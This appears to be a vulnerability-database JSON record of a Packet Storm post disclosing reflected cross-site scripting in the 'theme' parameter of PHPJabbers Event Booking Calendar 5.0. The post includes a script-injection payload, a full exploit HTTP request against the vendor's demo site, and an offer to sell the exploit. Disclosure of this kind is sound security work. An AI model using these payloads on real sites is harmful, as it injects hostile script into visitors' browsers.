📄 Event Booking Calendar 5.0 Cross Site Scripting_PACKETSTORM:220962

{
    "lastseen": "2026-05-13T17:47:27",
    "description": "Event Booking Calendar version 5.0 suffers from a cross site scripting vulnerability...",
    "published": "2026-05-13T00:00:00",
    "modified": "2026-05-13T00:00:00",
    "type": "packetstorm",
    "title": "\ud83d\udcc4 Event Booking Calendar 5.0 Cross Site Scripting",
    "source": "",
    "references": "",
    "id": "PACKETSTORM:220962",
    "bulletinFamily": "exploit",
    "cwe": null,
    "cvelist": [],
    "sourceData": "## Titles: Event Booking Calendar-5.0 Cross-site scripting (reflected)\n    ## Author: nu11secur1ty\n    ## Date: 5/13/2026\n    ## Vendor: https://www.phpjabbers.com/\n    ## Software: https://www.phpjabbers.com/event-booking-calendar/\n    ## Reference: https://portswigger.net/web-security/cross-site-scripting\n    \n    ## Description:\n    \n    The value of the theme request parameter is copied into the value of an\n    HTML tag attribute which is encapsulated in double quotation marks.\n    The payload a6kx6\"><script>alert(1)</script>po9g6 was submitted in the\n    theme parameter. This input was echoed unmodified in the application's\n    response.\n    This proof-of-concept attack demonstrates that it is possible to inject\n    arbitrary JavaScript into the application's response.\n    \n    STATUS: HIGH- Vulnerability\n    \n    [+]Exploit:\n    \n    ```\n    GET\n    /scripts/event-booking-calendar/preview.php?locale=1&hide=0&theme=theme1a6kx6%22%3E%3Ca%20href=%22\n    https://www.youtube.com/watch?v=Q9pX-pEAFT4%22%20target=%22_blank%22%3E%20%3Cimg%20src=%22https://media1.tenor.com/m/sLjUbG5BVikAAAAd/trump-dance-trump-2024.gif%22%20alt=%22STUPID%22width=%22900%22%20height=%22450%22%3E%20%3C/a%3Epo9g6\n    HTTP/2\n    Host: demo.phpjabbers.com\n    Cookie: EventBookingCalendar=179dabd0dc4c6897881b9496ceeaa53a\n    Cache-Control: max-age=0\n    Sec-Ch-Ua: \"Not-A.Brand\";v=\"24\", \"Chromium\";v=\"146\"\n    Sec-Ch-Ua-Mobile: ?0\n    Sec-Ch-Ua-Platform: \"Windows\"\n    Accept-Language: en-US,en;q=0.9\n    Upgrade-Insecure-Requests: 1\n    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\n    (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\n    Accept:\n    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\n    Sec-Fetch-Site: same-origin\n    Sec-Fetch-Mode: navigate\n    Sec-Fetch-User: ?1\n    Sec-Fetch-Dest: document\n    Accept-Encoding: gzip, deflate, br\n    Priority: u=0, i\n    \n    ```\n    \n    ##[+]Buy the Exploit if you need and if you want to support me:\n    [href](https://venvar.gumroad.com/l/jrzzmg)\n    \n    ## Reproduce:\n    [href](\n    https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/2026/PHPJABBERS/Event-Booking-Calendar-5.0-Cross-site-scripting(reflected)\n    )\n    \n    \n    ## Demo PoC:\n    [href](https://www.patreon.com/posts/event-booking-5-158137115)\n    \n    ## Time spent:\n    01:27:00",
    "sourceHref": "https://packetstorm.news/download/220962",
    "cvss": {
        "score": 0,
        "severity": "NONE",
        "vector": "NONE",
        "version": "NONE"
    },
    "cvss2": [],
    "cvss3": {
        "version": "",
        "vectorString": "",
        "baseScore": 0,
        "baseSeverity": "",
        "attackVector": "",
        "attackComplexity": "",
        "privilegesRequired": "",
        "userInteraction": "",
        "scope": "",
        "confidentialityImpact": "",
        "integrityImpact": "",
        "availabilityImpact": "",
        "cvssV3": {
            "version": "",
            "vectorString": "",
            "baseScore": 0,
            "baseSeverity": "",
            "attackVector": "",
            "attackComplexity": "",
            "privilegesRequired": "",
            "userInteraction": "",
            "scope": "",
            "confidentialityImpact": "",
            "integrityImpact": "",
            "availabilityImpact": ""
        }
    },
    "href": "https://packetstorm.news/files/id/220962/",
    "category_name": "Exploit",
    "post_link": "",
    "product": "",
    "version": "",
    "vendor": "",
    "ai_description": "",
    "ai_severity": "",
    "ai_vendor": "",
    "ai_product": "",
    "ai_version": "",
    "ai_score": 0
}